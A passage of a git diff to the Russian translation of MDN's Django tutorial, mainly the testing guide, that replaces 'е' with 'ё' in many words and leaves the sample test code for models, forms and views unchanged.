передаётся в шаблон через переменную контекста <code>context</code>. </p> <div class="note"> <p><strong>Примечание</strong>: Можно проверить наличие поддержки куки в браузере (для примера, смотрите <a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Как использовать сессии</a>), или разработать наш UI таким образом, чтобы это не имело значения.</p> diff --git a/files/ru/learn/server-side/django/skeleton_website/index.html b/files/ru/learn/server-side/django/skeleton_website/index.html index 3a2dfa47b7..f5e25a0b9c 100644 --- a/files/ru/learn/server-side/django/skeleton_website/index.html +++ b/files/ru/learn/server-side/django/skeleton_website/index.html @@ -336,7 +336,7 @@ python3 manage.py migrate <p>Папка <strong>catalog/</strong> содержит файлы контроллеров(views), моделей(models), и других частей приложения. Просмотрите эти файлы. </p> -<p>Как было написано выше, URL соотноситель для админ-панели был подключен в файле <strong>urls.py</strong>. Войдите в административную часть и посмотрите, что произойдёт (вы можете найти URL из соотношения выше).</p> +<p>Как было написано выше, URL соотноситель для админ-панели был подключён в файле <strong>urls.py</strong>. Войдите в административную часть и посмотрите, что произойдёт (вы можете найти URL из соотношения выше).</p> <ul> </ul> diff --git a/files/ru/learn/server-side/django/testing/index.html b/files/ru/learn/server-side/django/testing/index.html index 248141c498..7721c05dc1 100644 --- a/files/ru/learn/server-side/django/testing/index.html +++ b/files/ru/learn/server-side/django/testing/index.html @@ -18,7 +18,7 @@ translation_of: Learn/Server-side/Django/Testing <div>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</div> -<p class="summary">Сайты, в процессе развития и разработки, становится все сложнее тестировать вручную. Кроме такого тестирования, сложными становятся внутренние взаимодействия между компонентами - внесение небольшого изменения в одной части приложения влияет на другие. При этом, чтобы все продолжало работать нужно вносить все больше и больше изменений и, желательно так, чтобы не добавлялись новые ошибки. Одним из способов который позволяет смягчить последствия добавления изменений, является внедрение в разработку автоматического тестирования - оно должно просто и надежно запускаться каждый раз, когда вы вносите изменения в свой код. Данное руководство рассматривает вопросы автоматизации<em> юнит-тестирования</em> вашего сайта при помощи фреймворка Django для тестов.</p> +<p class="summary">Сайты, в процессе развития и разработки, становится все сложнее тестировать вручную. Кроме такого тестирования, сложными становятся внутренние взаимодействия между компонентами - внесение небольшого изменения в одной части приложения влияет на другие. При этом, чтобы все продолжало работать нужно вносить все больше и больше изменений и, желательно так, чтобы не добавлялись новые ошибки. Одним из способов который позволяет смягчить последствия добавления изменений, является внедрение в разработку автоматического тестирования - оно должно просто и надёжно запускаться каждый раз, когда вы вносите изменения в свой код. Данное руководство рассматривает вопросы автоматизации<em> юнит-тестирования</em> вашего сайта при помощи фреймворка Django для тестов.</p> <table class="learn-box standard-table"> <tbody> @@ -37,7 +37,7 @@ translation_of: Learn/Server-side/Django/Testing <p><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> в настоящий момент содержит страницы для показа списков всех книг, авторов, подробной информации о книгах <code>Book</code> и авторах <code>Author</code>, а также страницу для обновления информации об экземпляре книги <code>BookInstance</code> и, кроме того, страницы для создания, обновления и удаления записей модели <code>Author</code> (и модели <code>Book</code>, в том случае, если вы выполнили домашнее задание в руководстве <a href="/en-US/docs/Learn/Server-side/Django/Forms">работа с формами</a>). Даже в случае небольшого сайта, ручной переход на каждую страницу и <em>беглая</em> проверка того, что все работает как следует, может занять несколько минут. В процессе внесения изменений и роста сайта требуемое время для проведения проверок будет только возрастать. Если бы мы продолжили в том же духе, то в какой-то момент на проведение тестов мы тратили бы больше времени, чем на написание кода и внесение изменений.</p> -<p>Автоматические тесты могут серьезно помочь нам справиться с этой проблемой! Очевидными преимуществами в таком случае являются значительно меньшие временные затраты на проведение тестов, их подробное выполнение, а кроме того, тесты имеют постоянную функциональность, или последовательность действий (человек никогда не сможет тестировать так надежно!). В связи с быстротой их выполнения автоматические тесты можно выполнять более часто, а если они провалятся, то укажут на соответствующее место (где что-то пошло не так как ожидалось).</p> +<p>Автоматические тесты могут серьёзно помочь нам справиться с этой проблемой! Очевидными преимуществами в таком случае являются значительно меньшие временные затраты на проведение тестов, их подробное выполнение, а кроме того, тесты имеют постоянную функциональность, или последовательность действий (человек никогда не сможет тестировать так надёжно!). В связи с быстротой их выполнения автоматические тесты можно выполнять более часто, а если они провалятся, то укажут на соответствующее место (где что-то пошло не так как ожидалось).</p> <p>Кроме того, автоматические тесты могут действовать как первый "настоящий пользователь" вашего кода, заставляя вас строго следить за объявлениями и документированием поведения вашего сайта. Тесты часто являются основой для создания примеров вашего кода и документации. По этим причинам иногда некоторые процессы разработки программного обеспечения начинаются с определения тестов и их реализации, а уже после этого следует написание кода который должен иметь соответствующее поведение (так называемая разработка <a href="https://en.wikipedia.org/wiki/Test-driven_development">на основе тестов</a> и <a href="https://en.wikipedia.org/wiki/Behavior-driven_development">на основе поведения</a>).</p> @@ -45,13 +45,13 @@ translation_of: Learn/Server-side/Django/Testing <h3 id="Типы_тестирования">Типы тестирования</h3> -<p>Существует несколько типов, уровней, классификаций тестов и тестовых приемов. Наиболее важными автоматическими тестами являются:</p> +<p>Существует несколько типов, уровней, классификаций тестов и тестовых приёмов. Наиболее важными автоматическими тестами являются:</p> <dl> <dt>Юнит-тесты</dt> <dd>Проверяют функциональное поведение для отдельных компонентов, часто классов и функций.</dd> <dt><strong>Регрессионное тестирование</strong></dt> - <dd>Тесты которые воспроизводят исторические ошибки (баги). Каждый тест вначале запускается для проверки того, что баг был исправлен, а затем перезапускается для того, чтобы убедиться, что он не был внесен снова с появлением новых изменений в коде.</dd> + <dd>Тесты которые воспроизводят исторические ошибки (баги). Каждый тест вначале запускается для проверки того, что баг был исправлен, а затем перезапускается для того, чтобы убедиться, что он не был внесён снова с появлением новых изменений в коде.</dd> <dt>Интеграционные тесты</dt> <dd>Проверка совместной работы групп компонентов. Данные тесты отвечают за совместную работу между компонентами, не обращая внимания на внутренние процессы в компонентах. Они проводятся как для простых групп компонентов, так и для целых веб-сайтов.</dd> </dl> @@ -62,11 +62,11 @@ translation_of: Learn/Server-side/Django/Testing <h3 id="Что_Django_предоставляет_для_тестирования">Что Django предоставляет для тестирования?</h3> -<p>Тестирование сайта это сложная задача, потому что она состоит их нескольких логических слоев – от HTTP-запроса и запроса к моделям, до валидации формы и их обработки, а кроме того, рендеринга шаблонов страниц.</p> +<p>Тестирование сайта это сложная задача, потому что она состоит их нескольких логических слоёв – от HTTP-запроса и запроса к моделям, до валидации формы и их обработки, а кроме того, рендеринга шаблонов страниц.</p> <p>Django предоставляет фреймворк для создания тестов, построенного на основе иерархии классов, которые, в свою очередь, зависят от стандартной библиотеки Python <code><a href="https://docs.python.org/3/library/unittest.html#module-unittest" title="(in Python v3.5)">unittest</a></code>. Несмотря на название, данный фреймворк подходит и для юнит-, и для интеграционного тестирования. Фреймворк Django добавляет методы API и инструменты, которые помогают тестировать как веб так и, специфическое для Django, поведение. Это позволяет вам имитировать URL-запросы, добавление тестовых данных, а также проводить проверку выходных данных ваших приложений. Кроме того, Django предоставляет API (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>) и инструменты <a href="https://docs.djangoproject.com/en/1.10/topics/testing/advanced/#other-testing-frameworks">для применения различных фреймворков тестирования</a>, например вы можете подключить популярный фреймворк <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> для имитации поведения пользователя в реальном браузере.</p> -<p>Для написания теста вы должны наследоваться от любого из классов тестирования Django (или <em>юниттеста</em>) (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#simpletestcase">SimpleTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>), а затем реализовать отдельные методы проверки кода (тесты это функции-"утверждения", которые проверяют, что результатом выражения являются значения <code>True</code> или <code>False</code>, или что два значения равны и так далее). Когда вы запускаете тест, фреймворк выполняет соответствующие тестовые методы в вашем классе-наследнике. Методы тестирования запускаются независимо друг от друга, начиная с метода настроек и/или завершаясь методом разрушения (tear-down), определенном в классе, как показано ниже.</p> +<p>Для написания теста вы должны наследоваться от любого из классов тестирования Django (или <em>юниттеста</em>) (<a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#simpletestcase">SimpleTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>), а затем реализовать отдельные методы проверки кода (тесты это функции-"утверждения", которые проверяют, что результатом выражения являются значения <code>True</code> или <code>False</code>, или что два значения равны и так далее). Когда вы запускаете тест, фреймворк выполняет соответствующие тестовые методы в вашем классе-наследнике. Методы тестирования запускаются независимо друг от друга, начиная с метода настроек и/или завершаясь методом разрушения (tear-down), определённом в классе, как показано ниже.</p> <pre class="brush: python">class YourTestClass(TestCase): @@ -85,7 +85,7 @@ translation_of: Learn/Server-side/Django/Testing self.assertTrue(False) </pre> -<p>Самый подходящий базовый класс для большинства тестов это <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a>. Этот класс создает чистую базу данных перед запуском своих методов, а также запускает каждую функцию тестирования в его собственной транзакции. У данного класса также имеется тестовый <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client" title="django.test.Client">Клиент</a>, который вы можете использовать для имитации взаимодействия пользователя с кодом на уровне отображения. В следующих разделах мы сконцентрируемся на юнит-тестах, которые будут созданы на основе класса <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>.</p> +<p>Самый подходящий базовый класс для большинства тестов это <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a>. Этот класс создаёт чистую базу данных перед запуском своих методов, а также запускает каждую функцию тестирования в его собственной транзакции. У данного класса также имеется тестовый <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client" title="django.test.Client">Клиент</a>, который вы можете использовать для имитации взаимодействия пользователя с кодом на уровне отображения. В следующих разделах мы сконцентрируемся на юнит-тестах, которые будут созданы на основе класса <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>.</p> <div class="note"> <p><strong>Примечание:</strong> Класс <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a> очень удобен, но он может приводить к замедленной работе в некоторых случаях (не для каждого теста необходимо настраивать базу данных, или имитировать взаимодействие с отображением). Когда вы познакомитесь с работой данного класса, то сможете заменить некоторые из ваших тестов на более простые классы тестирования.</p> @@ -95,7 +95,7 @@ translation_of: Learn/Server-side/Django/Testing <p>Вы должны тестировать все аспекты, касающиеся вашего кода, но не библиотеки, или функциональность, предоставляемые Python, или Django.</p> -<p>Например, рассмотрим модель <code>Author</code>, определенную ниже. Вам не нужно проверять тот факт, что <code>first_name</code> и <code>last_name</code> были сохранены в базу данных как <code>CharField</code>, потому что за это отвечает непосредственно Django (хотя конечно, на практике в течение разработки вы косвенно будете проверять данную функциональность). Тоже касается и, например, проверки того, что поле <code>date_of_birth</code> является датой, поскольку это тоже часть реализации Django.</p> +<p>Например, рассмотрим модель <code>Author</code>, определённую ниже. Вам не нужно проверять тот факт, что <code>first_name</code> и <code>last_name</code> были сохранены в базу данных как <code>CharField</code>, потому что за это отвечает непосредственно Django (хотя конечно, на практике в течение разработки вы косвенно будете проверять данную функциональность). Тоже касается и, например, проверки того, что поле <code>date_of_birth</code> является датой, поскольку это тоже часть реализации Django.</p> <p>Вы должны проверить текст для меток (<em>First name, Last_name, Date of birth, Died</em>), и размер поля, выделенного для текста (<em>100 символов</em>), потому что они являются частью вашей разработки и чем-то, что может сломаться/измениться в будущем.</p> @@ -117,11 +117,11 @@ translation_of: Learn/Server-side/Django/Testing <p><strong>Примечание:</strong> Проницательные читатели могут заметить, что мы можем некоторым образом ограничить дату рождения и смерти какими-то граничными значениями и выполнять проверку, чтобы дата смерти шла после рождения. В Django данное ограничение может быть добавлено к вашим классам форм (хотя вы и можете определить валидаторы для этих полей, они будут проявлять себя только на уровне форм, а не уровне модели).</p> </div> -<p>Ну что же, усвоив данную информацию, давайте перейдем к процессу определения и запуска тестов.</p> +<p>Ну что же, усвоив данную информацию, давайте перейдём к процессу определения и запуска тестов.</p> <h2 id="Обзор_структуры_тестов">Обзор структуры тестов</h2> -<p>Перед тем как мы перейдем к тому "что тестировать", давайте кратко взглянем на моменты <em>где</em> и <em>как</em> определяются тесты.</p> +<p>Перед тем как мы перейдём к тому "что тестировать", давайте кратко взглянем на моменты <em>где</em> и <em>как</em> определяются тесты.</p> <p>Django использует юнит-тестовый модуль - <a href="https://docs.python.org/3/library/unittest.html#unittest-test-discovery" title="(in Python v3.5)">встроенный "обнаружитель" тестов</a>, который находит тесты в текущей рабочей директории, в любом файле с шаблонным именем<strong> test*.py</strong>. Предоставляя соответствующие имена файлов, вы можете работать с любой структурой которая вас устраивает. Мы рекомендуем создать пакет для вашего тестирующего кода и, следовательно, отделить файлы моделей, отображений, форм и любые другие, от кода который будет использоваться для тестов. Например:</p> @@ -136,7 +136,7 @@ translation_of: Learn/Server-side/Django/Testing <p>В проекте <em>LocalLibrary</em> создайте файловую структуру, указанную выше. Файл <strong>__init__.py</strong> должен быть пустым (так мы говорим Питону, что данная директория является пакетом). Вы можете создать три тестовых файла при помощи копирования и переименования файла-образца <strong>/catalog/tests.py</strong>.</p> <div class="note"> -<p><strong>Примечание:</strong> Скелет тестового файла <strong>/catalog/tests.py</strong> был создан автоматически когда мы выполняли <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">построение скелета сайта Django</a>. Является абсолютно "легальным" действием - поместить все ваши тесты в данный файл, тем не менее, если вы проводите тесты "правильно", то вы очень быстро придете к очень большому и неуправляемому файлу тестирования.</p> +<p><strong>Примечание:</strong> Скелет тестового файла <strong>/catalog/tests.py</strong> был создан автоматически когда мы выполняли <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">построение скелета сайта Django</a>. Является абсолютно "легальным" действием - поместить все ваши тесты в данный файл, тем не менее, если вы проводите тесты "правильно", то вы очень быстро придёте к очень большому и неуправляемому файлу тестирования.</p> <p>Можете удалить данный файл, поскольку больше он нам не понадобится.</p> </div> @@ -148,7 +148,7 @@ translation_of: Learn/Server-side/Django/Testing # Поместите ваш код тестов здесь </pre> -<p>Вы часто будете добавлять соответствующий тестовый класс для каждой модели/отображения/формы с отдельными методами проверки каждой отдельной функциональности. В каких-то случаях вы захотите иметь отдельный класс для тестирования какого-то особого варианта работы, или функционала, с отдельными функциями тестирования, которые будут проверять элемент/элементы данного варианта (например, мы можем создать отдельный класс тестирования для проверки того, что поле валидно, - функции данного класса будут проверять каждый неверный вариант использования). Опять же, структура файлов и пакетов полностью зависит от вас и будет лучше если вы будете ее придерживаться.</p> +<p>Вы часто будете добавлять соответствующий тестовый класс для каждой модели/отображения/формы с отдельными методами проверки каждой отдельной функциональности. В каких-то случаях вы захотите иметь отдельный класс для тестирования какого-то особого варианта работы, или функционала, с отдельными функциями тестирования, которые будут проверять элемент/элементы данного варианта (например, мы можем создать отдельный класс тестирования для проверки того, что поле валидно, - функции данного класса будут проверять каждый неверный вариант использования). Опять же, структура файлов и пакетов полностью зависит от вас и будет лучше если вы будете её придерживаться.</p> <p>Добавьте тестовый класс, показанный ниже, в нижнюю часть файла. Данный класс демонстрирует как создать класс тестирования при помощи наследования от <code>TestCase</code>.</p> @@ -200,7 +200,7 @@ translation_of: Learn/Server-side/Django/Testing <pre class="brush: bash">python3 manage.py test</pre> -<p>Таким образом мы найдем в текущей директории все файлы с именем <strong>test*.py</strong> и запустим все тесты (у нас имеются несколько файлов для тестирования, но на данный момент, только <strong>/catalog/tests/test_models.py</strong> содержит какие-либо тесты). По умолчанию, тесты сообщат что-нибудь, только в случае провала.</p> +<p>Таким образом мы найдём в текущей директории все файлы с именем <strong>test*.py</strong> и запустим все тесты (у нас имеются несколько файлов для тестирования, но на данный момент, только <strong>/catalog/tests/test_models.py</strong> содержит какие-либо тесты). По умолчанию, тесты сообщат что-нибудь, только в случае провала.</p> <p>Запустите тесты из корневой папки сайта <em>LocalLibrary</em>. Вы должны увидеть вывод, который похож на следующий.</p> @@ -239,7 +239,7 @@ Destroying test database for alias 'default'...</pre> <p>Следующий раздел показывает как запускать отдельные тесты и как контролировать процесс вывода информации.</p> -<h3 id="Еще_больше_тестовой_информации">Еще больше тестовой информации</h3> +<h3 id="Ещё_больше_тестовой_информации">Ещё больше тестовой информации</h3> <p>Если вы желаете получать больше информации о тестах вы должны изменить значение параметра <em>verbosity</em>. Например, для вывода списка успешных и неуспешных тестов (и всю информацию о том, как прошла настройка базы данных) вы можете установить значение verbosity равным "2":</p> @@ -247,7 +247,7 @@ Destroying test database for alias 'default'...</pre> <p>Доступными значениями для verbosity являются 0, 1 (значение по умолчанию), 2 и 3.</p> -<h3 id="Запуск_определенных_тестов">Запуск определенных тестов</h3> +<h3 id="Запуск_определённых_тестов">Запуск определённых тестов</h3> <p>Если вы хотите запустить подмножество тестов, тогда вам надо указать полный путь к вашему пакету, модулю/подмодулю, классу наследнику<code>TestCase</code>, или методу:</p> @@ -262,14 +262,14 @@ python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one <p>Теперь, когда мы знаем как запустить наши тесты и что именно мы должны тестировать, давайте рассмотрим некоторые практические примеры.</p> <div class="note"> -<p><strong>Примечание: </strong>Мы не будем расписывать все тесты, а просто покажем вам пример того, как они должны работать и что еще вы можете с ними сделать.</p> +<p><strong>Примечание: </strong>Мы не будем расписывать все тесты, а просто покажем вам пример того, как они должны работать и что ещё вы можете с ними сделать.</p> </div> <h3 id="Модели">Модели</h3> <p>Как было отмечено ранее, мы должны тестировать все то, что является частью нашего кода, а не библиотеки/код, которые уже были протестированы командами разработчиков Django, или Python.</p> -<p>Рассмотрим модель <code>Author</code>. Мы должны провести тесты текстовых меток всех полей, поскольку, даже несмотря на то, что не все они определены, у нас есть проект, в котором сказано, что все их значения должны быть заданы. Если мы не проведем их тестирование, тогда мы не будем знать, что данные метки действительно содержат необходимые значения. Мы уверены в том, что Django создаст поле заданной длины, таким образом наши тесты будут проверять нужный нам размер поля, а заодно и его содержимое.</p> +<p>Рассмотрим модель <code>Author</code>. Мы должны провести тесты текстовых меток всех полей, поскольку, даже несмотря на то, что не все они определены, у нас есть проект, в котором сказано, что все их значения должны быть заданы. Если мы не проведём их тестирование, тогда мы не будем знать, что данные метки действительно содержат необходимые значения. Мы уверены в том, что Django создаст поле заданной длины, таким образом наши тесты будут проверять нужный нам размер поля, а заодно и его содержимое.</p> <pre class="brush: python">class Author(models.Model): first_name = models.CharField(max_length=100) @@ -283,9 +283,9 @@ python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one def __str__(self): return '%s, %s' % (self.last_name, self.first_name)</pre> -<p>Откройте файл <strong>/catalog/tests/test_models.py</strong> и замените все его содержимое кодом, приведенном во фрагменте для тестирования модели <code>Author</code> (фрагмент представлен ниже).</p> +<p>Откройте файл <strong>/catalog/tests/test_models.py</strong> и замените все его содержимое кодом, приведённом во фрагменте для тестирования модели <code>Author</code> (фрагмент представлен ниже).</p> -<p>В первой строке мы импортируем класс <code>TestCase</code>, а затем наследуемся от него, создавая класс с описательным именем (<code>AuthorModelTest</code>), оно поможет нам идентифицировать места провалов в тестах во время вывода информации на консоль. Затем мы создаем метод <code>setUpTestData()</code>, в котором создаем объект автора, который мы будем использовать в тестах, но нигде не будем изменять.</p> +<p>В первой строке мы импортируем класс <code>TestCase</code>, а затем наследуемся от него, создавая класс с описательным именем (<code>AuthorModelTest</code>), оно поможет нам идентифицировать места провалов в тестах во время вывода информации на консоль. Затем мы создаём метод <code>setUpTestData()</code>, в котором создаём объект автора, который мы будем использовать в тестах, но нигде не будем изменять.</p> <pre class="brush: python">from django.test import TestCase @@ -385,7 +385,7 @@ AssertionError: 'Died' != 'died' <p>Смысл проведения тестов для форм тот же, что и для моделей; надо проверить весь собственный код и другие особенности проекта, но не то, что касается фреймворка, или сторонних библиотек.</p> -<p>В основном это означает, что вы должны протестировать то, что формы имеют соответствующие поля и что они показываются с соответствующими метками и вспомогательными текстами. Вам не надо проверять то, что Django правильно осуществляет валидацию полей (если только вы не создали свое собственное поле и валидацию) — то есть вам не надо проверять что, например, поле ввода электронного адреса принимает только электронного адреса. Но вы должны протестировать каждую дополнительную валидацию, которую вы добавляете для полей и любые сообщения, который ваш код генерирует в случае ошибок.</p> +<p>В основном это означает, что вы должны протестировать то, что формы имеют соответствующие поля и что они показываются с соответствующими метками и вспомогательными текстами. Вам не надо проверять то, что Django правильно осуществляет валидацию полей (если только вы не создали своё собственное поле и валидацию) — то есть вам не надо проверять что, например, поле ввода электронного адреса принимает только электронного адреса. Но вы должны протестировать каждую дополнительную валидацию, которую вы добавляете для полей и любые сообщения, который ваш код генерирует в случае ошибок.</p> <p>Рассмотрим форму для обновления книг. Она имеет только одно поле обновления даты, которое будет иметь текстовую метку и вспомогательный текст, который вам надо проверить.</p> @@ -401,7 +401,7 @@ AssertionError: 'Died' != 'died' #Проверка, что дата не в прошлом. if data < datetime.date.today(): raise ValidationError(_('Invalid date - renewal in past')) - #Если дата в "далеком" будущем (+4 недели) + #Если дата в "далёком" будущем (+4 недели) if data > datetime.date.today() + datetime.timedelta(weeks=4): raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) @@ -455,7 +455,7 @@ class RenewBookFormTest(TestCase): <p>Первые две функции проверяют текст который должны содержать поля <code>label</code> и <code>help_text</code>. Доступ к полю мы получаем при помощи словаря (то есть, <code>form.fields['renewal_date']</code>). Отметим, что мы должны проверять содержит ли метка значение <code>None</code>, иначе в поле текста метки вы увидите "<code>None</code>".</p> -<p>Оставшиеся функции проверяют валидность дат, то есть их нахождение внутри определенного интервала, а также невалидность для значений, которые находятся вне заданного интервала. Для получения исходного значения мы использовали функцию получения текущей даты (<code>datetime.date.today()</code>), а также функцию <code>datetime.timedelta()</code> (которая принимает определенное число дней, или недель). Затем мы просто создали форму, передавая ей наши данные и проверяя ее на валидность.</p> +<p>Оставшиеся функции проверяют валидность дат, то есть их нахождение внутри определённого интервала, а также невалидность для значений, которые находятся вне заданного интервала. Для получения исходного значения мы использовали функцию получения текущей даты (<code>datetime.date.today()</code>), а также функцию <code>datetime.timedelta()</code> (которая принимает определённое число дней, или недель). Затем мы просто создали форму, передавая ей наши данные и проверяя её на валидность.</p> <div class="note"> <p><strong>Примечание:</strong> В данном примере мы не использовали ни базу данных, ни тестовый клиент. Рассмотрите модификацию этих тестов при помощи класса <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.SimpleTestCase">SimpleTestCase</a>.</p> @@ -463,22 +463,22 @@ class RenewBookFormTest(TestCase): <p>Нам также надо бы проверять возникновение ошибок, которые появляются если форма не валидна. Но, обычно, это относится к процессу вывода информации, таким образом, мы позаботимся об этом в следующем разделе.</p> </div> -<p>На этом с формами можно закончить; у нас имеются и другие тесты, но они были созданы обобщенными классами отображения для редактирования! Запустите тесты и убедитесь, что наш код все еще им соответствует!</p> +<p>На этом с формами можно закончить; у нас имеются и другие тесты, но они были созданы обобщёнными классами отображения для редактирования! Запустите тесты и убедитесь, что наш код все ещё им соответствует!</p> <h3 id="Отображения">Отображения</h3> -<p>Для проверки поведения отображения мы используем тестовый клиент Django <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client">Client</a>. Данный класс действует как упрощенный веб-браузер который мы применяем для имитации <code>GET</code> и <code>POST</code> запросов и проверки ответов. Про ответы мы можем узнать почти все, начиная с низкоуровневого HTTP (итоговые заголовки и коды статусов) и вплоть до применяемых шаблонов, которые используются для HTML-рендера, а также контекста, который передается в соответствующий шаблон. Кроме того, мы можем отследить последовательность перенаправлений (если имеются), проверить URL-адреса и коды статусов на каждом шаге. Все это позволит нам проверить, что каждое отображение выполняет то, что ожидается.</p> +<p>Для проверки поведения отображения мы используем тестовый клиент Django <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client">Client</a>. Данный класс действует как упрощённый веб-браузер который мы применяем для имитации <code>GET</code> и <code>POST</code> запросов и проверки ответов. Про ответы мы можем узнать почти все, начиная с низкоуровневого HTTP (итоговые заголовки и коды статусов) и вплоть до применяемых шаблонов, которые используются для HTML-рендера, а также контекста, который передаётся в соответствующий шаблон. Кроме того, мы можем отследить последовательность перенаправлений (если имеются), проверить URL-адреса и коды статусов на каждом шаге. Все это позволит нам проверить, что каждое отображение выполняет то, что ожидается.</p> -<p>Давайте начнем с одного из простейших отображений которое возвращает список всех авторов. Вы можете его увидеть по URL-адресу <strong>/catalog/authors/</strong> (данный URL-адрес можно найти в разделе приложения catalog, в файле настроек urls.py по имени 'authors').</p> +<p>Давайте начнём с одного из простейших отображений которое возвращает список всех авторов. Вы можете его увидеть по URL-адресу <strong>/catalog/authors/</strong> (данный URL-адрес можно найти в разделе приложения catalog, в файле настроек urls.py по имени 'authors').</p> <pre class="brush: python">class AuthorListView(generic.ListView): model = Author paginate_by = 10 </pre> -<p>Поскольку это обобщенное отображение списка, то почти все за нас делает Django. Если вы доверяете Django, то единственной вещью, которую вам нужно протестировать, является переход к данному отображению по указанному URL-адресу. Таким образом, если вы применяете методику TDD (test-driven development, разработка через тесты), то начните проект с написания тестов, которые будут проверять, что данное отображение выводит всех авторов и, к тому же, например, блоками по 10.</p> +<p>Поскольку это обобщённое отображение списка, то почти все за нас делает Django. Если вы доверяете Django, то единственной вещью, которую вам нужно протестировать, является переход к данному отображению по указанному URL-адресу. Таким образом, если вы применяете методику TDD (test-driven development, разработка через тесты), то начните проект с написания тестов, которые будут проверять, что данное отображение выводит всех авторов и, к тому же, например, блоками по 10.</p> -<p>Откройте файл <strong>/catalog/tests/test_views.py</strong> замените все его содержимое на следующий код теста для класса <code>AuthorListView</code>. Как и ранее, мы импортируем нашу модель и некоторые полезные классы. В методе <code>setUpTestData()</code> мы задаем число объектов класса <code>Author</code> которые мы тестируем при постраничном выводе.</p> +<p>Откройте файл <strong>/catalog/tests/test_views.py</strong> замените все его содержимое на следующий код теста для класса <code>AuthorListView</code>. Как и ранее, мы импортируем нашу модель и некоторые полезные классы. В методе <code>setUpTestData()</code> мы задаём число объектов класса <code>Author</code> которые мы тестируем при постраничном выводе.</p> <pre class="brush: python">from django.test import TestCase @@ -525,15 +525,15 @@ class AuthorListViewTest(TestCase): self.assertTrue(resp.context['is_paginated'] == True) self.assertTrue( len(resp.context['author_list']) == 3)</pre> -<p>Все тесты используют клиент (принадлежащего классу <code>TestCase</code>, от которого мы наследовались) для имитации <code>GET</code>-запроса и получения ответа (<code>resp</code>). Первая версия проверяет заданный URL-адрес (заметьте, - просто определенный путь без указания домена), в то время как второй генерирует URL-адрес при помощи его имени, указанного в настройках.</p> +<p>Все тесты используют клиент (принадлежащего классу <code>TestCase</code>, от которого мы наследовались) для имитации <code>GET</code>-запроса и получения ответа (<code>resp</code>). Первая версия проверяет заданный URL-адрес (заметьте, - просто определённый путь без указания домена), в то время как второй генерирует URL-адрес при помощи его имени, указанного в настройках.</p> <pre class="brush: python">resp = self.client.get('/catalog/authors/') resp = self.client.get(reverse('authors')) </pre> -<p>Когда мы получаем ответ, то мы извлекаем код статуса, используемый шаблон, "включен" ли постраничный вывод, количество элементов в подмножестве (на странице) и общее число элементов.</p> +<p>Когда мы получаем ответ, то мы извлекаем код статуса, используемый шаблон, "включён" ли постраничный вывод, количество элементов в подмножестве (на странице) и общее число элементов.</p> -<p>Наиболее интересной переменной является <code>resp.context</code>, которая является объектом контекста, который передается шаблону из отображения. Он (объект контекста) очень полезен для тестов, поскольку позволяет нам убедиться, что наш шаблон получает все данные которые ему необходимы. Другими словами мы можем проверить, что мы используем правильный шаблон с данными, которые проделывают долгий путь проверок чтобы соответствовать данному шаблону.</p> +<p>Наиболее интересной переменной является <code>resp.context</code>, которая является объектом контекста, который передаётся шаблону из отображения. Он (объект контекста) очень полезен для тестов, поскольку позволяет нам убедиться, что наш шаблон получает все данные которые ему необходимы. Другими словами мы можем проверить, что мы используем правильный шаблон с данными, которые проделывают долгий путь проверок чтобы соответствовать данному шаблону.</p> <h4 id="Отображения_и_регистрация_пользователей">Отображения и регистрация пользователей</h4> @@ -543,7 +543,7 @@ resp = self.client.get(reverse('authors')) class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): """ - Обобщенный класс отображения списка взятых книг текущим пользователем + Обобщённый класс отображения списка взятых книг текущим пользователем """ model = BookInstance template_name ='catalog/bookinstance_list_borrowed_user.html' @@ -555,7 +555,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): <p>Добавьте тестовый код следующего фрагмента в <strong>/catalog/tests/test_views.py</strong>. В нем, для создания нескольких аккаунтов и объектов <code>BookInstance</code> которые будут использоваться в дальнейших тестах, мы используем метод <code>SetUp()</code> (вместе с соответствующими книгами и другими записями). Половина книг бронируется тестовыми пользователями, но в начале для них всех мы устанавливаем статус "доступно". Использование метода <code>SetUp()</code> предпочтительнее чем <code>setUpTestData()</code>, поскольку в дальнейшем мы будем модифицировать некоторые объекты.</p> <div class="note"> -<p><strong>Примечание:</strong> Метод <code>setUp()</code> создает книгу с заданным языком <code>Language</code>, но <em>ваш</em> код может не включать в себя модель <code>Language</code>, 